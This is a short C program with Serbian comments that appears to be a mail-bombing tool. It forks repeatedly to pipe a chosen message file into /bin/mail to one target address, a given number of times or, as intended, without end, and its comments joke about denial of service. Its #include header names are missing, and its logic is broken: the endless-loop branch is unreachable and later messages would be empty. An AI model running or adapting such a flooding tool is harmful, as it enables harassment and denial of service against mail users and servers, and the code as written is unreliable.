#include #include #include #include #include #include #include #define BUFFSIZE 4096 #define MAIL "/bin/mail" void djuro_radi(int fd,char *subject,char *adresa); main(int argc,char *argv[]) { int fd; /* za zeljeni mail */ int i,koliko; if(argc<4) { fprintf(stderr,"Sintaksa je: %s " " [broj_puta] \n",argv[0]); exit(1); } if( (fd=open(argv[1],O_RDONLY)) < 0) { fprintf(stderr,"Nemogu da otvorim mail: %s \n",argv[1]); exit(1); } signal(SIGCHLD,SIG_IGN); /* bice mnogo forkovanja pa da ne da ne napravimo lokalni DOS:) (ovo nisu djin-djicu i prijatelji:) sa zombijima, mada ako malo bolej razmislimo DOS je stvarno DOS :) */ if(argc==2) while(1) djuro_radi(fd,argv[2],argv[3]); else { koliko=atoi(argv[4]); for(i=0; i < koliko ;i++) djuro_radi(fd,argv[2],argv[3]); } } /*ovaj sve radi :))) */ void djuro_radi(int fd,char *subject,char *adresa) { int pd[2]; /* za pipe*/ char buf[BUFFSIZE]; int n; pipe(pd); if(fork()) { close(pd[0]); /* Roditelj samo pise */ while( (n=read(fd,buf,BUFFSIZE)) > 0 ) write(pd[1],buf,n); } else /*dete*/ { close(0); dup(pd[0]); close(pd[0]); close(pd[1]); /*I krecemo da pumpamo :) */ execl(MAIL,MAIL,"-s",subject,adresa); exit(1); /* Do ovde ne sme da dodje */ } }